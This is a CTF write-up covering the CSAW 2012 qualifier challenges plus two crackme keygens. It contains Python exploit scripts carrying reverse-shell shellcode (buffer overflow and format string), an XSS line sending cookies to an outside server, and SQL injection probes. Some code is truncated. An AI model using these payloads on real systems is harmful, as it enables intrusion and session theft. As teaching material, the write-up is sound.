CSAW 2012 Quals Tutorial/Writeup

Better late than never! There are already tons of excellent writeups online (many more complete in terms of problems) but this is yet another one. If you’re new here, one thing I try to do is include all the files you need to follow along. So if you didn’t actually play in csaw, this is where my writeup might be worthwhile. These are the odd math problems with answers in the back of the text box :)

I played on ACME Pharm. We managed to solve all the challenges except network 400. We sort of gave up on it and quite a few teams passed us. After the CTF finished, I went back and solved several that looked interesting and other people on the team solved during the CTF. Point being, if I mess something up in this write-up it shouldn’t reflect poorly on the rest of the team :P

Exploits 200

Problem: exploit200

Cracking the binary open in IDA, we see this pretty early.

.text:08048D4B loc_8048D4B:                            ; CODE XREF: main+2DBj
.text:08048D4B                 mov     dword ptr [esp], 0 ; uid
.text:08048D52                 call    _setuid
.text:08048D57                 cmp     eax, 0FFFFFFFFh
.text:08048D5A                 jz      short loc_8048D74
.text:08048D5C                 mov     dword ptr [esp], offset aGotroot ; "gotroot"
.text:08048D63                 call    _perror
.text:08048D68                 mov     dword ptr [esp], 1 ; status
.text:08048D6F                 call    _exit
.text:08048D74 ; ---------------------------------------------------------------------------
.text:08048D74 loc_8048D74:                            ; CODE XREF: main+304j
.text:08048D74                 mov     eax, [esp+0F8h]
.text:08048D7B                 mov     [esp], eax      ; fd
.text:08048D7E                 call    handle
.text:08048D83                 mov     eax, 0
.text:08048D88                 jmp     short loc_8048DBB

The key is grabbed in the “handle” function, where the interesting stuff is. So the point of this snippet, we can’t run as root. Gettingg into the handle function, it compares to this:

.text:08048980 mov     [esp+4], eax    ; buf
.text:08048984 mov     eax, [ebp+fd]
.text:08048987 mov     [esp], eax      ; fd
.text:0804898A call    _recv
.text:0804898F mov     [ebp+var_D], 0
.text:08048993 mov     dword ptr [esp+4], offset secret ; "AAAAAAAAAAAAAAAAAAAAAAAAAA\n"
.text:0804899B lea     eax, [ebp+buf]
.text:080489A1 mov     [esp], eax      ; s1
.text:080489A4 call    _

Then it reads from a file called “./key” and sends the contents (at least the first word) back. I just sent the As and it sent me back the key from the file.

Wecome to my first CS project.
Please type your name:  thisismysecretkeyAAAAAAAA

Exploits 300

Problem: exploit300

There is a bunch of signal stuff that breaks up the execution flow. To debug, I made sure to modify how gdb handled signals being thrown at it, using the “signal” command. Also, how I debug remote processes is I set follow-fork-mode child. That way I can see where it’s crashing. Other people sometimes do this by patching the fork with nops, which is also an option.

Right off, the program exits if there isn’t a user named “liotian”, so if running locally this user needs to be added. But after you have the user and if you’re ignoring signals, it’s a straightforward buffer overflow. I just sent metasploit’s ./pattern_create.rb at it and found the offset it crashed at using pattern_offset. Also, I had to subtract a bit off of esp in my shellcode since metasploit’s encoding needs the stack, and in this case the stack was corrupted by being too close to eip. To adjust the stack I add “\x81\xC4\x3E\xFE\xFF\xFF” to the top which is opcodes for “add esp, -450”. (by the way, another handy tool is metasploit’s ./nasm_shell, which I use quite a bit to turn assembly to opcodes)


import socket
import argparse
import struct

# msfvenom -p linux/x86/shell/reverse_tcp LHOST= -b '\x00' -e x86/shikata_ga_nai
shellcode = (
"\x81\xC4\x3E\xFE\xFF\xFF" + #adjust esp
"\xdb\xc7\xbe\x75\xd1\xf5\xc6\xd9\x74\x24\xf4\x5b\x2b\xc9" +
"\xb1\x14\x31\x73\x19\x83\xeb\xfc\x03\x73\x15\x97\x24\xc4" +
"\x1d\xa0\x24\x74\xe1\x1d\xc1\x79\x6c\x40\xa5\x18\xa3\x02" +
"\x9d\xba\x69\x6a\x20\x43\x9f\x36\x4e\x53\xce\x96\x07\xb2" +
"\x9a\x70\x40\xf8\xdb\xf5\x31\x06\x6f\x01\x02\x60\x42\x89" +
"\x21\xdd\x3a\x44\x25\x8e\x9a\x3c\x19\xe9\xd1\x40\x2c\x70" +
"\x12\x28\x80\xad\x91\xc0\xb6\x9e\x37\x79\x29\x68\x54\x29" +


print len(shellcode)

parser = argparse.ArgumentParser()
parser.add_argument("--host", default="")
parser.add_argument("--port", default=4842 )
args = parser.parse_args()

jmpesp = struct.pack("<I", 0x08048fbb)

payload = "A" * 326 + jmpesp + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((args.host, args.port))
data = s.sendall(payload)

Exploit 400

Problem: Exploit400

This is a clear format string vulnerability. In gdb just set follow-fork-mode child and see the process crash with %n. This happens at:

08048BFE call    _snprintf

We can get an arbitrary overwrite at the close got address that’s called pretty soon after

.got.plt:0804B064 off_804B064     dd offset close    

so the location where we want to overwrite to control eip is 0804B064

let’s see where our format is coming from:

.text:08048BE9 mov     [esp+8], eax    ; format
.text:08048BED mov     dword ptr [esp+4], 3FFh ; maxlen
.text:08048BF5 lea     eax, [ebp+s]
.text:08048BFB mov     [esp], eax      ; s
.text:08048BFE call    _snprintf

setting a breakpoint, this is 0x804b120, which is

(gdb) maintenance info sections 
Exec file:
    `/home/mopey/exploit400', file type elf32-i386.
    0x8048154->0x8048167 at 0x00000154: .interp ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8048168->0x8048188 at 0x00000168: .note.ABI-tag ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x804b080->0x804b0e8 at 0x00002080: .data ALLOC LOAD DATA HAS_CONTENTS
    0x804b100->0x804b320 at 0x000020e8: .bss ALLOC
    0x0000->0x002a at 0x000020e8: .comment READONLY HAS_CONTENTS

so oour format string is in .bss, which is also marked as executable and won’t vary like the stack would. Here’s the final exploit


import socket
import argparse
import struct

# msfvenom -p linux/x86/shell/reverse_tcp LHOST= -b '\x00' -e x86/shikata_ga_nai
shellcode = (
"\xdb\xc7\xbe\x75\xd1\xf5\xc6\xd9\x74\x24\xf4\x5b\x2b\xc9" +
"\xb1\x14\x31\x73\x19\x83\xeb\xfc\x03\x73\x15\x97\x24\xc4" +
"\x1d\xa0\x24\x74\xe1\x1d\xc1\x79\x6c\x40\xa5\x18\xa3\x02" +
"\x9d\xba\x69\x6a\x20\x43\x9f\x36\x4e\x53\xce\x96\x07\xb2" +
"\x9a\x70\x40\xf8\xdb\xf5\x31\x06\x6f\x01\x02\x60\x42\x89" +
"\x21\xdd\x3a\x44\x25\x8e\x9a\x3c\x19\xe9\xd1\x40\x2c\x70" +
"\x12\x28\x80\xad\x91\xc0\xb6\x9e\x37\x79\x29\x68\x54\x29" +

parser = argparse.ArgumentParser()
parser.add_argument("--host", default="")
parser.add_argument("--port", default=23456 )
args = parser.parse_args()

#.got send
owLocation = 0x0804B068
owValue = 0x804b145

def createFmt(owValue, owLocation):
	HOB = owValue >> 16
	LOB = owValue & 0xffff
	if HOB < LOB:
		payload = struct.pack("<I", owLocation + 2)
		payload += struct.pack("<I", owLocation)
		payload += "%." + str(HOB -8) + "x"
		payload += "%5$hn"
		payload += "%." + str(LOB-HOB) + "x"
		payload += "%6$hn"
		payload = struct.pack("<I", owLocation + 2)
		payload += struct.pack("<I", owLocation)
		payload += "%." + str(LOB -8) + "x"
		payload += "%6$hn"
		payload += "%." + str(HOB-LOB) + "x"
		payload += "%5$hn"
	return payload

payload = createFmt(owValue, owLocation)
payload += "\x90" * 30
payload += "\xcc"
payload += shellcode
payload += "\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((args.host, args.port))
data = s.recv(1024)
print data
while data != "":
	data = s.recv(1024)
	print data,

There’s also some detection of /bin/sh and stuff, but since my shellcode was generated all of these were hidden automatically for me.

Forensics 100, 200

Files: Forensics100, Forensics200

To solve these, I first used strings to find a bunch of stuff that looked like this.

key{rodney danielle}
key{matthieu blayne}

I know nothing about PNGs, but searching online for these tEXT sections I stumbled across a tool called pngcheck.

For number 200 I tried

pngcheck -7 version1.png

    key{nguyen willie}
    key{takeuchi gregory}
version1.png  CRC error in chunk tEXt (computed 5005ed3c, expected 26594131)

and takeuchi gregory is the only one with a tEXT chunk checksum error, and also the key. In forensics 200, it’s almost the same except for the key is the only tEXT chunk without an error.

pngcheck -7 -f version2.png  |less

    key{donnie winston}
version2.png  CRC error in chunk tEXt (computed 1bc013c9, expected c913c01b)
    key{jeremy socorrito}
version2.png  CRC error in chunk tEXt (computed bcb8529b, expected 9b52b8bc)
    key{johnnie tigger}
(no error)

Reversing 100

Problem: Rev100

This is a Window’s executable. There’s this main function that prints the encrypted key and ends, and then there’s a decryption function that’s never reached. You can’t see it in graph mode, but in text mode this function is clear.

ext:004010EE                 add     esp, 8
.text:004010F1                 push    0               ; uType
.text:004010F3                 push    offset Caption  ; "Key!"
.text:004010F8                 lea     ecx, [ebp+Text]
.text:004010FB                 push    ecx             ; lpText
.text:004010FC                 push    0               ; hWnd
.text:004010FE                 call    ds:__imp__MessageBoxA@16 ; MessageBoxA(x,x,x,x)
.text:00401104                 push    0FFFFFFFFh      ; Code
.text:00401106                 call    ds:__imp__exit
.text:00401106 main            endp
.text:0040110C ; ---------------------------------------------------------------------------
.text:0040110C                 lea     edx, [ebp-18h]
.text:0040110F                 push    edx
.text:00401110                 call    decrypt
.text:00401115                 add     esp, 4
.text:00401118                 push    offset aDecryptedKey ; "Decrypted Key:  "
.text:0040111D                 lea     eax, [ebp-58h]
.text:00401120                 push    eax
.text:00401121                 call    _strcpy
.text:00401126                 add     esp, 8
.text:00401129                 lea     ecx, [ebp-18h]
.text:0040112C                 push    ecx
.text:0040112D                 lea     edx, [ebp-58h]
.text:00401130                 push    edx
.text:00401131                 call    _strcat
.text:00401136                 add     esp, 8
.text:00401139                 push    0
.text:0040113B                 push    offset aKey     ; "Key!"
.text:00401140                 lea     eax, [ebp-58h]
.text:00401143                 push    eax
.text:00401144                 push    0
.text:00401146                 call    ds:__imp__MessageBoxA@16 ; MessageBoxA(x,x,x,x)
.text:0040114C                 push    0
.text:0040114E                 call    ds:__imp__exit

so I want to fill the exit at 00401104 with nops. I do this in windbg with

eb 00401104 90 90 90 90 90 90 90 90

then I run the program, and it prints the key

Reversing 200

Problem: Rev200

This is a managed .NET windows executable. To win, you can just set a breakpoint at the end and read the key. I used windbg with the sos extensions

0:000> .loadby sos clr
0:000> !DumpStackObjects
OS Thread Id: 0xf58 (0)
ESP/REG  Object   Name
0012F244 00b2d4b0 Microsoft.Win32.SafeHandles.SafeFileHandle
0012F2A4 00b2d4b0 Microsoft.Win32.SafeHandles.SafeFileHandle
0012F304 00b2d4b0 Microsoft.Win32.SafeHandles.SafeFileHandle
0012F334 00b2d4b0 Microsoft.Win32.SafeHandles.SafeFileHandle
0012F358 00b2d4c4 System.IO.__ConsoleStream
0012F37C 00b2d4f4 System.IO.StreamReader
0012F380 00b2d4f4 System.IO.StreamReader
0012F398 00b2d4f4 System.IO.StreamReader
0012F39C 00b2d864 System.IO.TextReader+SyncTextReader
0012F3BC 00b2d864 System.IO.TextReader+SyncTextReader
0012F3E4 00b2d430 System.Char
0012F3E8 00b2d3cc System.String    The key is 9c09f8416a2206221e50b98e346047b
0012F3EC 00b2d44c System.String    The key is 9c09f8416a2206221e50b98e346047b7
0012F3F0 00b2d430 System.Char
0012F3F4 00b2d3cc System.String    The key is 9c09f8416a2206221e50b98e346047b
0012F3F8 00b2b65c System.Byte[]
0012F3FC 00b2d44c System.String    The key is 9c09f8416a2206221e50b98e346047b7
0012F410 00b2b64c System.Object[]    (System.String[])
0012F4C4 00b2b64c System.Object[]    (System.String[])
0012F66C 00b2b64c System.Object[]    (System.String[])
0012F6A0 00b2b64c System.Object[]    (System.String[])
0012F7DC 01b23250 System.Object[]    (System.Object[])
0:000> !DumpObj 00b2d44c 
Name:        System.String
MethodTable: 79b9fb08
EEClass:     798d8bb0
Size:        100(0x64) bytes
File:        C:\WINDOWS\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll
String:      The key is 9c09f8416a2206221e50b98e346047b7
      MT    Field   Offset                 Type VT     Attr    Value Name
79ba2ad4  4000103        4         System.Int32  1 instance       43 m_stringLength
79ba1f24  4000104        8          System.Char  1 instance       54 m_firstChar
79b9fb08  4000105        8        System.String  0   shared   static Empty
    >> Domain:Value  0015d938:00b21228 <<

Reversing 300

Problem: Rev300

Another managed .NET windows executable.

First, you need to recompile to get out the system exit that happens at the beginning. I used ilspy to disassemble and create a .csproj I could open with visual studio. Then I recompiled to edit this out. Alternatively, you could jump over it in a debugger, but I think recompiling is probably easier.

Second, I need to get out the md5hash it’s getting from program files. We need to create a file there that md5hashes to the same hash it’s comparing.


import binascii

array = [

stuff = binascii.hexlify(''.join([chr(i) for i in array]))
print stuff

This generates the md5 hash: ff97a9fdede09eaf6e1c8ec9f6a61dd5, which Googling gives us the string “Intel”. double checking:

$ echo -n "Intel" | md5sum.exe
ff97a9fdede09eaf6e1c8ec9f6a61dd5 *-

Once we have a directory c:\\program files\Intel, the program will print the key: That was pretty easy, wasn’t it? \key{6a6c4d43668404041e67f0a6dc0fe243}

Reversing 400

Problem: rev400

This is almost identical to reversing 100, except it’s a linux elf rather than a Window’s exe. I have the same strategy here. My biggest problem was figuring out how to configure gdb to write into .text sections (you do it with write, and then you have to reload the executable)

(gdb) set {char}0x0000000004006B9 = '\x90'
Cannot access memory at address 0x4006b9
(gdb) show write 
Writing into executable and core files is on.
(gdb) ex
exec-file  explore    
(gdb) exec-file ./csaw2012reversing 
(gdb) set {char}0x0000000004006B9 = '\x90'
(gdb) set {char}0x0000000004006BA = '\x90'
(gdb) set {char}0x0000000004006BB = '\x90'
(gdb) set {char}0x0000000004006BC = '\x90'
(gdb) set {char}0x0000000004006BD = '\x90'
(gdb) set {char}0x0000000004006BE = '\x90'
(gdb) set {char}0x0000000004006BF = '\x90'
(gdb) set {char}0x0000000004006C0 = '\x90'
(gdb) set {char}0x0000000004006C1 = '\x90'
(gdb) set {char}0x0000000004006C2 = '\x90'
(gdb) continue
Encrypted Key:                 
Decrypted Key:  csawissohard__:(
[Inferior 1 (process 39007) exited normally]

Net 100

Problem: net100

This was a pcap. Simply open it in wireshark, right click to follow the stream for the key.

Net 200

Problem: net200

Some dude I know is planning a party at some bar in New York! I really want to go but he’s really strict about who gets let in to the party. I managed to find this packet capture of when the dude registered the party but I don’t know what else to do. Do you think there’s any way you can find out the secret password to get into the party for me? By the way, my favorite hockey player ever is mario lemieux.


glancing through this in wireshark it looks like there are POST requests to party requests. Setting this filter:

ip.addr == and http.request.method == "POST"

looking through these, following the second one gives:


so “brooklym beat box”

Net 300

Problem: net300

Opened up the pcap in wireshark and looked at it for a while. One thing I noticed was in frame 67 it says it’s a Teensy Keyboard/Mouse. Googling for teensy keyboard gives us this site, which I thought was useful: http://www.pjrc.com/teensy/usb_keyboard.html. It has a table on the front page which looks promising. Looking at the .h file gives a bunch of codes for the table…

I still wasn’t completely sure how to extract things. Presumably I want to get the keys being pressed.

I decided to try capturing my own keyboard traffic, and ended up here: http://wiki.wireshark.org/CaptureSetup/USB. This also turned out to be useful.

We can attach to the keyboard USB bus simply by observing the interfaces, and which interface gets traffic when we type. Then, attaching to the interface we can see traffic. Four “frames” happen for every key pressed. Inferring from the table given in the teensy link and knowing the key I actually pressed (e.g. “B” is 5), the keycode is clearly in the “Leftover Capture Data” at the end of the first interrupt. For example, this is a “b” being pressed.

I don’t know much about USB still, but all the other packets when I press a key seem to have a 0 at the -6th byte, so we can potentially filter on this. That’s what I did in my first attempt

from scapy.all import *

44:" ",

pkts = rdpcap("net300.pcap")
msg= ""
for packet in pkts:
	global msg
	hid_report = packet.load[-8:]
	key_code = ord(hid_report[2])
	ch = KEY_CODES.get(key_code, False)
	if ch:
		msg += ch

print msg

This prints:


I was pretty stuck here, since what appears to be the key wasn’t working. But it turns out the geometry was just off. If you sort the geometry on the C and 3 character at the end, you win.

Web 300

Problem: This is a website belonging to a horse-fighting gang. Even with an account, it’s not clear what they’re up to. Your task is to get administrator access and see if you can figure anything out. Your account is csaw_challenger/letmein123.


This web app had a SQL injection in /horse.php, but it also had a waf that was blocking UNION and SELECT. In early testing, I did a few queries like these:

#there are four columns
GET /horse.php?id=1+OR+1%3d1+ORDER+BY+5-- HTTP/1.1
GET /horse.php?id=1-(IF(MID(version(),1,1)+LIKE+5,+BENCHMARK(10000000,SHA1('true')),false)) HTTP/1.1

Someone else on my team solved this before I did, and I got pretty stuck since they said they just used a simple union. I tried various logic flows to get back to that point. I didn’t spend too much time on it though, since we had already solved it and we had unsolved network 400 (I hate you network 400). It turns out the web app was broken at the beginning of csaw (waf wasn’t working) and later they fixed the challenge. The WAF bypass was through parameter polution, and googling the first writeup I see is here: http://isisblogs.poly.edu/2012/09/30/csaw-ctf-horseforce-writeup/.

Web 400

Problem: CryptoMat is a site where you can send encrypted messages to other users. Dog is a user on the site and has the key. Figure out how to get into his account and obtain it.


The data is just xored with this array, the key, and the previous block:

xordata = [0x17, 0x34, 0x17, 0x39, 0x11, 0x35, 0x24, 0x36]

Writing code, this should work with arbitrary keys, which becomes important later on. Here is code to encrypt or decrypt arbitrary data with arbitrary keys:

import sys
import urllib

def padArg(argv):
	while len(argv) % 8 != 0:
		argv += "\x00"
	return argv

def padKey(key, dlen):
	padKey = key
	i = 0
	while len(padKey) < dlen:
		padKey += key[i%len(key)]
		i += 1
	return padKey

xordata = [0x17, 0x34, 0x17, 0x39, 0x11, 0x35, 0x24, 0x36]

padarg = padArg(sys.argv[1])
key = sys.argv[2]
padKey = padKey(key, len(padarg))

print padKey

fstr = ""

for i in range(0, len(padarg)):
	a = ord(padarg[i]) ^ xordata[i%8] ^ ord(padKey[i])
	xordata[i%8] = (ord(padarg[i]))
	fstr += chr(a)

#dummy uriencode, because normal urilib encode seemed to break something
a = [(ord(i)) for i in fstr]
for i in a:
	i = hex(i)
	i = i[2:]
	if len(i) == 1:
		i = "0" + i
	i = "%"+i
print ""

The goal is to get DoG to execute script, which will be decrypted – so we need to encrypt Javascript that will send us the key. We want something like:

document.location="https://webstersprodigy.net/blah?" + bdocument.cookie

Unfortunately, the javascript doesn’t seem to like quotes (or it could be an issue with my code). Regardless, we can encode it so it doesn’t need quotes using hackvertor. So then we transform this into


We then monitor on the web server to steal dog’s login. I eventually get: PHPSESSID=4ehb7kihmi774r6bf9u48h37e0, but it seems to change quickly and expires in a few minutes. Luckily I was running through burp and spidered all the pages, so the data was all in my history.

I pull back this in the inbox

                      <td>PASS PLZ</td>
                      <td><a href="download.php?id=2"><img src="res/dl.png" /></a></td>
                                  <tr class="open">
                      <td><a href="download.php?id=4"><img src="res/dl.png" /></a></td>
                                  <tr class="open">
                      <td>Your key is ILIKECARROTS</td>
                      <td><a href="download.php?id=5"><img src="res/dl.png" /></a></td>
                                  <tr class="open">
                      <td><a href="download.php?id=6"><img src="res/dl.png" /></a></td>

and this in the outbox

                      <td>Hello, this is Dog.</td>
                      <td><a href="download.php?id=1"><img src="res/dl.png" /></a></td>
                      <td><a href="delete.php?id=1"><img src="res/cross.png" /></a></td>
                                  <tr class="open">
                      <td>Ok.jpg, encoded my key with your</td>
                      <td><a href="download.php?id=3"><img src="res/dl.png" /></a></td>
                      <td><a href="delete.php?id=3"><img src="res/cross.png" /></a></td>

The interesting looking messages are:

Message 1 1c30112f5c670a12322e2b14794b1a3a151c0c2a535d281a34232e1b444528393a22367a33205b56
Message 2 1775567850746577
Message 4 1775567850746577
Message 3 1d192a013504000538330a3d112d494e
Message 5 6147614d6b495a5b
Message 6 1775567850746577

Some of the messages (ascii hex encoded):

I used the key “Ilikecarrots” to decrypt message 5, which contained the key to the previous message, all the way back to the key for submission.

Web 600

Everyone said this was easy, and it is if you know the “trick”, but I spent quite a bit of time trying timing account type attacks and stuff… Someone else on the team solved it, and this is what they have.

The code source shown in the phps is as follow :


  if ( strcasecmp( $_GET['pass'], $pass ) == 0 ) {

According to the php manual the strcasecmp function is a Binary safe case-insensitive string comparison and returns 0 if str1 is greater than str2, and 0 if they are equal.

By passing pass[] (an array) as argument like follow (even with value null) :

the strcasecmp will try comparing an array in $_GET[‘pass’] with the string declared locally called $pass.

This will lead strcasecmp to return a NULL result (not same as 0 in case of two strings equals) and in this case we will have : NULL==0 so the result will be :


Reverseme: Easy Windows

To get back into the groove, I decided to try a crackme. After searching far and wide, I can’t seem to find where I got this from, other than crackmes.de.  One of my favorite sites.

Crackme.zip <– here it is in case it’s deleted.

And the solution is, with no analysis:

#include <iostream>
#include <string>
using namespace std;

int add_name_chars(string name) {
  int total = 0;
  for (int i=0; i<name.length(); i++) {
    total += name[i];
  return total;

int main() {
  string name;
  cout<<"Name: ";

  unsigned int ser1 = 31 * add_name_chars(name) / 629u + 44431400;
  while (ser1 > 0x3b9ac9ff) {
    ser1 /= 10;
  cout<<"Serial 1: "<<ser1<<endl;

  unsigned int ser2 = 82 * ser1 - 3;
  while (ser2 > 0x1869f)  {
    ser2 /= 10;

  cout<<"Serial 2: "<<ser2<<endl;
  return 0;

Ok, one hint. All the logic is at 004013BC. This was rated as 1, for newbies, but it still took me awhile to figure out. I thought it was fun.

Windows reverseme – nothing tricky

Windows reverseme – nothing tricky, just a sort of complicated validation process. This was originally from crackmes.de, mirror of the executable here.

The easiest thing in the world is to get this thing to validate.  Just run it and put a breakpoint at 00401288, and look at the value in 00406749.  That’s it! You’re validated.

A lot more tricky was writing the keygen.  To do it, I just stepped through the code very slowly, and duplicated the logic. ugh.

Ok, now here is my keygen of the executable.  To simplify things, I just considered usernames that are 5 chacters long.  Note all the mods.  Longer usernames will work, but will require minor mods to the keygen (and I didn’t have the patience to step through the code again).

 * keygen.c
 * This crackme, while easy to break (just look at the end value) took
 * quite awhile to step through the key generating process, which includes
 * a lot of xoring with prestored constants and with itself. It's almost
 * like a small hash or something...
 * To simplify things I only consider Usernames of 5 characters.  Otherwise
 * the code needs to be modified slightly
 * ************************************************************************/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void usage() {
  printf("Usage: keygen <5-letter-username>\n");

int main(int argc, char*argv[]) {

  if (argc != 2 || strlen(argv[1]) != 5) {

  char* username = argv[1];
  int i;
  /*initialize xorconst and xorop */

  /*xorconst is stored at */
  unsigned char xorconst[5];
  xorconst[0] = 0xAA;
  xorconst[1] = 0x89;
  xorconst[2] = 0xC4;
  xorconst[3] = 0xFE;
  xorconst[4] = 0x46;

  unsigned char xorop[5];
  for (i =0; i< 5; i++) {
    xorop[i] = 0;

  /* calculate xorop, which is the value eventually stored at 0x40634a
     when the code finishes it's for loop at 0x401197 */
  xorop[4] = 0x46;
  for (i = 0; i<strlen(username)-1; i++) {
    xorop[i%5] = (unsigned char)(xorconst[i%5] ^ username[i]);

  /*start second loop */
  /*initialize second xorconst */
  unsigned char xorconst2[5];
  xorconst2[0] = 0x78;
  xorconst2[1] = 0xF0;
  xorconst2[2] = 0xD0;
  xorconst2[3] = 0x03;
  xorconst2[4] = 0xE7;

  /* take xorop (and some more since we may need more than 5) and xor with
     the 40632D constant.
     To simplify, we'll only deal with 5 letter long unames for now */

  unsigned char xorop2[5];
  for (i = 0; i<strlen(username); i++) {
    xorop2[strlen(username)-i-1] = xorop[strlen(username)-i-1] ^ xorconst2[i];

  /*xorop2 now contains the string in 0x40634a at 0x004011BD
    though it does change more */

  /*now do the third loop, starting at 0x4011d1 */
  /*initialize the third xorconst */
  unsigned char xorconst3[5];
  xorconst3[0] = 0xF7;
  xorconst3[1] = 0xFD;
  xorconst3[2] = 0xF4;
  xorconst3[3] = 0xE7;
  xorconst3[4] = 0xB9;

  unsigned char xorop3[5];
  for (i = 0; i<strlen(username); i++) {
    xorop3[i] = xorop2[i] ^ xorconst3[i];

  /* xorop3 now contains 0x40634a at the end of the third loop ~ 0x4011F0 */
  /* and it appears xorop2 is stored at 0x406334 */

  /*looks like there's one more loop, then some garbage */

  /*the fourth loop xors xorop3[end to start] with xorconst4[starttoend]
    the xored result is stored in (reverse order) 40634a
    xorop3 is preserved at 406336 */

  unsigned char xorconst4[5];
  xorconst4[0] = 0xB5;
  xorconst4[1] = 0x1B;
  xorconst4[2] = 0xC9;
  xorconst4[3] = 0x50;
  xorconst4[4] = 0x73;

  unsigned char xorop4[5];
  for (i = 0; i<5; i++) {
    xorop4[5-i-1] = xorop3[5-i-1] ^ xorconst4[i];

  /*xorop4 is now stored in 0040634a at the end of the fourth loop */
  /*xorop3 (al) is now stored at 406336 */

  /*loop 5 */
  /*ecx = 406345 (which is initially 0) AND 3
    bx = xorop4[i + ecx] + 00406345[i]
    final iteration:
      xorop5[0-3] = xorop4[allbutlast]
      xorop5[0] = xorop[0] + xorop[4]
    then xorop5 is stored in 406345
  unsigned char xorop5[4];
  /*first copy xorop4, but xorop5[0] = xorop4[0] + xorop4[4]*/

  for (i = 0; i<4; i++) {
    xorop5[i] = xorop4[i];
  xorop5[0] = xorop4[0] + xorop4[4];

  /*ends fifth loop xorop5 is in 406345 right before xorop4*/

  unsigned int remainder;

  /*this could probably be done with an __asm__, but this is fine*/
  unsigned int thisint = xorop5[3]*16*16*16*16*16*16 + xorop5[2]*16*16*16*16
                + xorop5[1]*16*16 + xorop5[0];

  char finalpass [20];
  i = 0;
  while (thisint != 0) {

    remainder = (thisint % 10) + 0x30;
    thisint = thisint / 10;
    finalpass[i] = remainder;

  int length = i;
  /*finalpass is the final password, but in reverse order */
  for(i=length-1; i>=0; i--) {

  return 0;

Here is a dump of the applicable assembly instructions with comments.

0040117A   > 8A0C16         MOV CL,BYTE PTR DS:[ESI+EDX]             ;  code to get 40634a stuff... has to do with length.
0040117D   . 8AD9           MOV BL,CL
0040117F   . 3298 28634000  XOR BL,BYTE PTR DS:[EAX+406328]          ;  xor with constant AA 89 C4 FE 46
00401185   . 40             INC EAX
00401186   . 83F8 05        CMP EAX,5                                ;  rehashes same 5 chars again and again
00401189   . 881C32         MOV BYTE PTR DS:[EDX+ESI],BL             ;  final compare value
0040118C   . 8888 27634000  MOV BYTE PTR DS:[EAX+406327],CL
00401192   . 75 02          JNZ SHORT crackme.00401196
00401194   . 33C0           XOR EAX,EAX
00401196   > 46             INC ESI
00401197   . 3BF5           CMP ESI,EBP                              ;  for i < len username
00401199   .^72 DF          JB SHORT crackme.0040117A
0040119B   . 33FF           XOR EDI,EDI
0040119D   . 33C9           XOR ECX,ECX
0040119F   . 85ED           TEST EBP,EBP
004011A1   . 76 26          JBE SHORT crackme.004011C9
004011A3   > 8A9F 2D634000  MOV BL,BYTE PTR DS:[EDI+40632D]
004011A9   . 8BF5           MOV ESI,EBP
004011AB   . 2BF1           SUB ESI,ECX
004011AD   . 4E             DEC ESI
004011AE   . 8A0432         MOV AL,BYTE PTR DS:[EDX+ESI]             ;  last character first in 40634a + srrlen?
004011B1   . 32D8           XOR BL,AL
004011B3   . 47             INC EDI
004011B4   . 881C32         MOV BYTE PTR DS:[EDX+ESI],BL
004011B7   . 8887 2C634000  MOV BYTE PTR DS:[EDI+40632C],AL
004011BD   . 83FF 05        CMP EDI,5
004011C0   . 75 02          JNZ SHORT crackme.004011C4
004011C2   . 33FF           XOR EDI,EDI
004011C4   > 41             INC ECX
004011C5   . 3BCD           CMP ECX,EBP
004011C7   .^72 DA          JB SHORT crackme.004011A3                ;  end loop
004011C9   > 33F6           XOR ESI,ESI
004011CB   . 33FF           XOR EDI,EDI
004011CD   . 85ED           TEST EBP,EBP                             ;  ebp begins as strlen?
004011CF   . 76 21          JBE SHORT crackme.004011F2
004011D1   > 8A043A         MOV AL,BYTE PTR DS:[EDX+EDI]             ;  0040634a + i
004011D4   . 8A8E 32634000  MOV CL,BYTE PTR DS:[ESI+406332]          ;  406332 constant???
004011DA   . 32C8           XOR CL,AL
004011DC   . 46             INC ESI
004011DD   . 880C3A         MOV BYTE PTR DS:[EDX+EDI],CL
004011E0   . 8886 31634000  MOV BYTE PTR DS:[ESI+406331],AL
004011E6   . 83FE 05        CMP ESI,5
004011E9   . 75 02          JNZ SHORT crackme.004011ED
004011EB   . 33F6           XOR ESI,ESI                              ;  esi = esi % 5
004011ED   > 47             INC EDI
004011EE   . 3BFD           CMP EDI,EBP
004011F0   .^72 DF          JB SHORT crackme.004011D1                ;  end loop
004011F2   > 33FF           XOR EDI,EDI                              ;  start fourth loop
004011F4   . 33C9           XOR ECX,ECX
004011F6   . 85ED           TEST EBP,EBP
004011F8   . 76 26          JBE SHORT crackme.00401220
004011FA   > 8A9F 37634000  MOV BL,BYTE PTR DS:[EDI+406337]
00401200   . 8BF5           MOV ESI,EBP
00401202   . 2BF1           SUB ESI,ECX
00401204   . 4E             DEC ESI
00401205   . 8A0432         MOV AL,BYTE PTR DS:[EDX+ESI]
00401208   . 32D8           XOR BL,AL
0040120A   . 47             INC EDI
0040120B   . 881C32         MOV BYTE PTR DS:[EDX+ESI],BL
0040120E   . 8887 36634000  MOV BYTE PTR DS:[EDI+406336],AL
00401214   . 83FF 05        CMP EDI,5
00401217   . 75 02          JNZ SHORT crackme.0040121B
00401219   . 33FF           XOR EDI,EDI                              ;  edi = edi%5
0040121B   > 41             INC ECX
0040121C   . 3BCD           CMP ECX,EBP
0040121E   .^72 DA          JB SHORT crackme.004011FA                ;  end fourth loop
00401220   > 8D3D 45634000  LEA EDI,DWORD PTR DS:[406345]            ;  is 406345 a constant???
00401226   . 33C0           XOR EAX,EAX                              ;  start fifth loop
00401228   . 85ED           TEST EBP,EBP
0040122A   . C705 45634000 >MOV DWORD PTR DS:[406345],0
00401234   . 76 17          JBE SHORT crackme.0040124D
00401236   > 8BC8           MOV ECX,EAX
00401238   . 83E1 03        AND ECX,3                                ;  ecx = eax%3
0040123B   . 8A1C0F         MOV BL,BYTE PTR DS:[EDI+ECX]
0040123E   . 8D340F         LEA ESI,DWORD PTR DS:[EDI+ECX]
00401241   . 8A0C02         MOV CL,BYTE PTR DS:[EDX+EAX]
00401244   . 02D9           ADD BL,CL                                ;  bl = bl + cl
00401246   . 40             INC EAX
00401247   . 3BC5           CMP EAX,EBP
00401249   . 881E           MOV BYTE PTR DS:[ESI],BL                 ;  eventually eax == this
